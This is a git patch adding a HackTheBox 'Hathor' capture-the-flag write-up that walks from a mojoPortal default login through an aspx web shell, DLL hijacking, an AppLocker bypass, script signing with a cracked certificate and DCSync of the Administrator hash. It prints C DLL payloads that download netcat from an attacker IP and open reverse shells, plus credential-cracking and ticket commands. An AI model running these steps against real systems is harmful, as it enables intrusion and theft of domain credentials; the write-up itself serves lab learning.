From 75bf1283af4f188e133b6539e298e8b2197e8eb7 Mon Sep 17 00:00:00 2001 From: ARZ <60057481+AbdullahRizwan101@users.noreply.github.com> Date: Sat, 19 Nov 2022 18:14:44 +0300 Subject: [PATCH] Create Hathor.md --- HackTheBox/Hathor.md | 576 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 576 insertions(+) create mode 100644 HackTheBox/Hathor.md diff --git a/HackTheBox/Hathor.md b/HackTheBox/Hathor.md new file mode 100644 index 0000000..0996f20 --- /dev/null +++ b/HackTheBox/Hathor.md @@ -0,0 +1,576 @@ +# HackTheBox - Hathor + +## NMAP + +```bash +PORT STATE SERVICE VERSION +53/tcp open domain? +| fingerprint-strings: +| DNSVersionBindReqTCP: +| version +|_ bind +80/tcp open http Microsoft IIS httpd 10.0 +|_http-favicon: Unknown favicon MD5: DCF8D506B68E858EE6F83FB988066A57 +| http-methods: +| Supported Methods: GET HEAD OPTIONS TRACE POST +|_ Potentially risky methods: TRACE +| http-robots.txt: 29 disallowed entries (15 shown) +| /CaptchaImage.ashx* /Admin/ /App_Browsers/ /App_Code/ +| /App_Data/ /App_Themes/ /bin/ /Blog/ViewCategory.aspx$ +| /Blog/ViewArchive.aspx$ /Data/SiteImages/emoticons /MyPage.aspx +|_/MyPage.aspx$ /MyPage.aspx* /NeatHtml/ /NeatUpload/ +|_http-server-header: Microsoft-IIS/10.0 +|_http-title: Home - mojoPortal +88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-21 12:39:05Z) +135/tcp open msrpc Microsoft Windows RPC +139/tcp open netbios-ssn Microsoft Windows netbios-ssn +389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name) +| ssl-cert: Subject: commonName=hathor.windcorp.htb +445/tcp open microsoft-ds? +464/tcp open kpasswd5? +593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 +636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name) +| ssl-cert: Subject: commonName=hathor.windcorp.htb +| Subject Alternative Name: othername:, DNS:hathor.windcorp.htb +| Issuer: commonName=windcorp-HATHOR-CA-1 +| Public Key type: rsa +| Public Key bits: 2048 +| Signature Algorithm: sha256WithRSAEncryption +| Not valid before: 2022-03-18T07:51:40 +| Not valid after: 2023-03-18T07:51:40 +| MD5: ccb0 22ba 7668 9b5b ab85 038c 5b18 1913 +|_SHA-1: 2a0b a4da 1f04 33a7 e1a8 14d1 1dd3 6893 9eda 96e7 +|_ssl-date: 2022-04-21T12:42:10+00:00; -1s from scanner time. +3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name) +| ssl-cert: Subject: commonName=hathor.windcorp.htb +| Subject Alternative Name: othername:, DNS:hathor.windcorp.htb +| Issuer: commonName=windcorp-HATHOR-CA-1 +| Public Key type: rsa +| Public Key bits: 2048 +| Signature Algorithm: sha256WithRSAEncryption +| Not valid before: 2022-03-18T07:51:40 +| Not valid after: 2023-03-18T07:51:40 +| MD5: ccb0 22ba 7668 9b5b ab85 038c 5b18 1913 +|_SHA-1: 2a0b a4da 1f04 33a7 e1a8 14d1 1dd3 6893 9eda 96e7 +|_ssl-date: 2022-04-21T12:42:11+00:00; 0s from scanner time. +3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name) +| ssl-cert: Subject: commonName=hathor.windcorp.htb +| Subject Alternative Name: othername:, DNS:hathor.windcorp.htb +| Issuer: commonName=windcorp-HATHOR-CA-1 +5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) +|_http-server-header: Microsoft-HTTPAPI/2.0 +|_http-title: Not Found +9389/tcp open mc-nmf .NET Message Framing +49664/tcp open msrpc Microsoft Windows RPC +49668/tcp open msrpc Microsoft Windows RPC +49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 +49697/tcp open msrpc Microsoft Windows RPC +49699/tcp open msrpc Microsoft Windows RPC +61813/tcp open msrpc Microsoft Windows RPC +``` + +## PORT 80 (HTTP) + +On the web page we get a page under consturction page also at the bottom we can sess an option to login + + + + + +Since we don't know the creds, we can try the default one but they didn't worked + + + +Running `disearch` to fuzzz for files and directories with don't get anyhting as most of the paths we get result in 403 status code + + + + + +Looking at `robots.txt` we do get some entries + + + +But still we were either getting 403,page not found or redirecting us back to login page except for `/Setup` which only tells that setup is disabled + + + +So in the end I decided to just sign up for an account + + + +And after logging there wasn't anything that we could do with a normal user on this site + + + +After looking for default credentials which I should have done that before, found a forum for mojoportal which talks about the default admin username to be `admin@admin.com` and the password `admin` + + + +https://www.mojoportal.com/Forums/Thread.aspx?pageid=5&t=2902~-1 + + + + + + + +This worked and we are now logged in as the administrator + + + +There were a lot of options and I spend a lot of time in understanding what do I need to do here as there wasn't any blog talking about exploits that could give you rce + + + +In filemanager we do see an option to upload files, since this is a windows server, it will be executing aspx files so we need to upload aspx to get command execution, I created a simple aspx file to test if we can upload this file + + + + + +This gives us an error, so we are not allowed to upload aspx files, instead of uploading an apsx file we can copy the contents and change the extension + + + + + +It won't show that our aspx file is copied in the current directory + + + +If we check the `System logs` we'll see a path ` /Data/Sites/1/media/` which is supposed to where that `htmlfragment` directory is + + + + + +This was is loading the htm file that we just edit but it wasn't loading the aspx file for some reason + + + +So I just went with copy pasting aspx web shell which I found from github and see if that will work as maybe need to import something to execute aspx files + +https://raw.githubusercontent.com/tennc/webshell/master/Backdoor%20Dev%20Shells/devshell.aspx + + + + + +And after editing and copying the file with aspx , visiting the link again, the aspx web shell worked + + + +We can execute the commands as the web user + + + +Looking at the perrmissions of this user, we are not in any interesting groups + + + +Going into `C:\Users` we see some users + + + +In C:\ dirve we see an interesting folder called `Get-bADpasswords` which is a powershell script that is use for finding bad or weak passwords for the AD users + +https://github.com/improsec/Get-bADpasswords + + + +We can get the results of this tool by going to `C:\Get-bADpasswords\Accessible\CSVs` + + + +Downloading the csv file we can see that `BeatriceMill` has a weak passsword and the hash of this account is `9cb01504ba0247ad5c6e08f7ccae7903`. I used crackstation to see if we can crack this hash + + + + + +But we weren't able to authenticate on smb, so I tried to use the credentials on ldap by using `windapsearch` + +```bash +windapsearch --dc 10.10.11.147 -d 'windcorp' -u 'BeatriceMill' -p '!!!!ilovegood17' -m users +``` + + + + + +This returned `3538` users so could be that we are not allowed to access smb but still it's an issue that we can't remote access through Beatrice if either smb or winrm is not available to us + +To get a shell as Beatrice we can abuse IIS impersonatioin that will allow the web application to run the code under Beatrice + +https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/aspnet/development/implement-impersonation + +By following this we can copy the code for impersonatioin for `Visual C# .NET` + + + + + +In this section of the code we can call the aspx reverse shell function also replace the username,domain and the password for Beatrice so the final aspx file would look like this + +https://gist.github.com/AbdullahRizwan101/62cd19d0ad3ac2ebafcd6f4a9cea63c1 + +https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx + +After uploading it and getting a reverse shell as `BeatriceMill` + + + +Looking into `C:\` we can see a folder named `share` + + + +Here there's `autoit3` and furhter going into `scripts` folder we can see an autoit3 script having 7zip script and a dll, we can check the autoit3 script it's using that dll + + + + + + + +This is where we can do an attack called `DLL Hijacking` where we would be replacing contents of `7-zip64.dll` and let the autoit3 execute the 7zip script allowing it to run our dll + +https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking + +We can try making the dll execute `whoami` command to see with which user this script is being executed + +```c++ +#include +BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ + switch(dwReason){ + case DLL_PROCESS_ATTACH: + + system("whoami > C:\\Windows\\Temp\\uwu.txt"); + + break; + case DLL_PROCESS_DETACH: + break; + case DLL_THREAD_ATTACH: + break; + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} + +``` +Compiling it to a windows shared library using `mingw32` + +https://stackoverflow.com/questions/2033997/how-to-compile-for-windows-on-linux-with-gcc-g + +```bash +x86_64-w64-mingw32-gcc ./check.c -shared -o 7-zip64.dll +``` + + + +And after a few minutes we'll see the text file which we appended the output of `whoami` command resulting to the user `ginawild` + + + +But getting a reverse shell wasn't simple as either netcat or a reverse shell payload was being flagged and getting removed + +So checking the `Applocker` with the powershell command + +```powershell +Get-AppLockerPolicy -effective -xml +``` + + + +This returned a lot of stuff, so we need to transfer it to our host machine, I used `tmux`'s copy option by using the prefix keys `ctrl+b + [` to enter in copy mode , then `ctrl+space` to start copy selection , `ctrl+w` to end selection and `ctrl+b +]` to paste in tmux pane + + + + + +We can then just save this in a file and open the xml in a browser + + + +Our focus should be on exe as we want to run netcat, so expanding this, we'll see a policy for allowing exe file to be executed + + + +Here it's allowing `Bginfo64.exe` to be executed and it's not checking the hash of the file so we could replace it with our `nc.exe` and make it execute it through that dll but before that let's see what permissions are there for Bginfo exe + + + +https://superuser.com/questions/322423/explain-the-output-of-icacls-exe-line-by-line-item-by-item + + + +Checking what these permissions mean, the `ITDep` group has read,execute and is a write owner for this exe, ginawild belongs to this group so we can replace this with `nc64.exe `through the dll and also make it execute it + +Make sure to use 1.12 version of netcat from here as the defender is going to flag it. + +https://eternallybored.org/misc/netcat/ + + + +```c++ +#include +BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ + switch(dwReason){ + case DLL_PROCESS_ATTACH: + + system("curl 10.10.14.18:3333/nc64.exe -o C:\\share\\Bginfo64.exe); + + break; + case DLL_PROCESS_DETACH: + break; + case DLL_THREAD_ATTACH: + break; + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} + +``` + +After it's going to be replaced we can then get a reverse shell + +```c++ +#include +BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ + switch(dwReason){ + case DLL_PROCESS_ATTACH: + + system("C:\\share\\Bginfo64.exe 10.10.14.18 5555 -e cmd.exe"); + + break; + case DLL_PROCESS_DETACH: + break; + case DLL_THREAD_ATTACH: + break; + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} +``` + + + +After having a reverse shell as gina, I didn't found anything in directories but in the recycle bin there was a pfx file that we can read + +https://superuser.com/questions/395015/how-to-open-the-recycle-bin-from-the-windows-command-line + + + + + +If we try to read this pfx file, it's protected with a password + + + +I tried using beatrice's password but the shell got hung up, so to transfer this on my host machine I used `cerutil` to convert the contents to base64 + +```powershell +certutil -encode .\cert.pfx cert.b64 +``` + + + +But we don't want `BEGIN CERTIFICATE` as it won't get deecoded properly, we can remove these keywords with + +```bash +findstr /v CERTIFICATE .\cert.b64 > removed_headers.b64 +``` + + + +Copied the content into the tmux buffer and pasted on my terminal + + + + + +Using `pfx2john` we can generate the pfx hash and crack it using `john` + +```bash +python2 /opt/john/run/pfx2john.py ./cert.pfx > hash +``` + + + +```bash +john ./hash --wordlist=/opt/SecLists/Passwords/rockyou.txt +``` + + + +Now with this pfx certificate we can sign a powershell script and let it execute because if we go back to `C:\Get-bADpasswords`, the script `Get-bADpasswords.ps1` is being executed through a background process and it's signed + + + +Checking what permissions are there on this script + + + +We have the permissions to modify this script, so let's try replacing the contents to execute netcat which is the Bginfo64.exe + +```powershell +Start-Process -FilePath "C:\Share\Bginfo64.exe" -ArgumentList "10.10.16.20 7777 -e powershell.exe" +``` + + + +Right now, this script isn't signed, so it can't be run on the system + + + +We can sign this powershell script with + +```powershell +$CertPath ="C:\Get-bADpasswords\cert.pfx" +$CertPass = "abceasyas123" +$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($CertPath, $CertPass) +Set-AuthenticodeSignature -Certificate $Cert -FilePath C:\Get-bADpasswords\Get-bADpasswords.ps1 +``` + +But it didn't work as the powershell was running in constrained mode + + + +There's a tool to sign to sign the files called `signtool` + +https://docs.microsoft.com/en-us/windows/win32/seccrypto/signtool + +Issue is that we can't download it directly, we need to install Windows Development kit, so I had to switch to my windows machine and install the developement kit only which is about 1.9 GB + + + +After installing the development kit, it should be in + +``` +C:\Program Files (x86)\Windows Kits\10\bin\x64 +``` + + + +Transferred `signtool.exe` on the target machine and then ran the command to sign the script + +https://www.praveenc.com/posts/code-signing-on-windows/ + +```powershell +.\signtool.exe sign /f C:\Users\ginawild\cert.pfx /p abceasyas123 C:\Users\ginawild\Get-bADpasswords.ps1 + + +.\signtool.exe sign /f C:\Users\ginawild\cert.pfx /p abceasyas123 C:\Users\ginawild\Get-bADpasswords.ps1 +``` + + + + + +After this copy it to `C:\Get-bADpasswords` and run `run.vbs` to trigger this powershell script + + + + + + + +Now getting a shell as this user, we can see a folder named `Credentials` in Documents folder having a passowrd in form of secure string + + + +## Rabbit Hole + +Reading this file we get a secure string password + + + +I looked up a video by ippsec on Reel machine in which he showcased how to convert it back to plain text + +https://www.youtube.com/watch?v=ob9SgtFm6_g&t=1973s&ab_channel=IppSec + + + + + + + +But this password wasn't for bpassrunner as there was user called `mailuser` in the username folder so this was a rabbit hole + + + + +Checking in in which groups this user belongs to + + + +We are in `Account Operators` group with which can we add users into the domain + +https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges + + + +So after digging too much for, this account had replicatioin rights , meaning that we can get the hash of any user we want + +https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/ + +```powershell +Get-ADReplAccount -SamAccountName Administrator -Server 'hathor.windcorp.htb' +``` + + + +But this wasn't working on winrm or on smb + + + +We can get a golden ticket for the administrator using impacket's `get-TGT.py` + + + +It gives an error regarding "Clock skew too great", we just need to synchronize the time with domain controller using `ntpdate windcrop` and want the ntp to set to false as it's going to keep updating the time zone + +```bash +timedatectl set-ntp false +sudo ntpdate windcorp +``` + +```bash +sudo python3 /opt/impacket/examples/getTGT.py windcorp.htb/Administrator -hashes :b3ff8d7532eef3 +96a5347ed33933030f +``` + + + + + +We can also dump NTDS.dit using the administrator's ticket + + + +## References +- https://www.mojoportal.com/Forums/Thread.aspx?pageid=5&t=2902~-1 +- https://github.com/tennc/webshell/blob/master/Backdoor%20Dev%20Shells/devshell.aspx +- https://github.com/improsec/Get-bADpasswords +- https://github.com/borjmz/aspx-reverse-shell +- https://www.faqforge.com/powershell/get-list-windows-powershell-modules-can-imported/ +- https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/aspnet/development/implement-impersonation +- https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx +- https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking +- https://stackoverflow.com/questions/2033997/how-to-compile-for-windows-on-linux-with-gcc-g +- https://www.youtube.com/watch?v=ob9SgtFm6_g&t=1588s +- https://superuser.com/questions/322423/explain-the-output-of-icacls-exe-line-by-line-item-by-item +- https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration +- https://stackoverflow.com/questions/28625178/bash-certutil-command-not-found +- https://dmfrsecurity.com/2017/01/07/windows-base64-encoding-and-decoding-using-certutil/ +- https://docs.microsoft.com/en-us/windows/win32/seccrypto/signtool +- https://stackoverflow.com/questions/31869552/how-to-install-signtool-exe-for-windows-10 +- https://www.praveenc.com/posts/code-signing-on-windows/ +- https://eternallybored.org/misc/netcat/ +- https://www.youtube.com/watch?v=ob9SgtFm6_g&t=1973s&ab_channel=IppSec +- https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/ +- https://techdirectarchive.com/2020/04/07/how-to-synchronizing-linux-system-clock-with-a-network-time-protocol-ntp-server/ +- https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/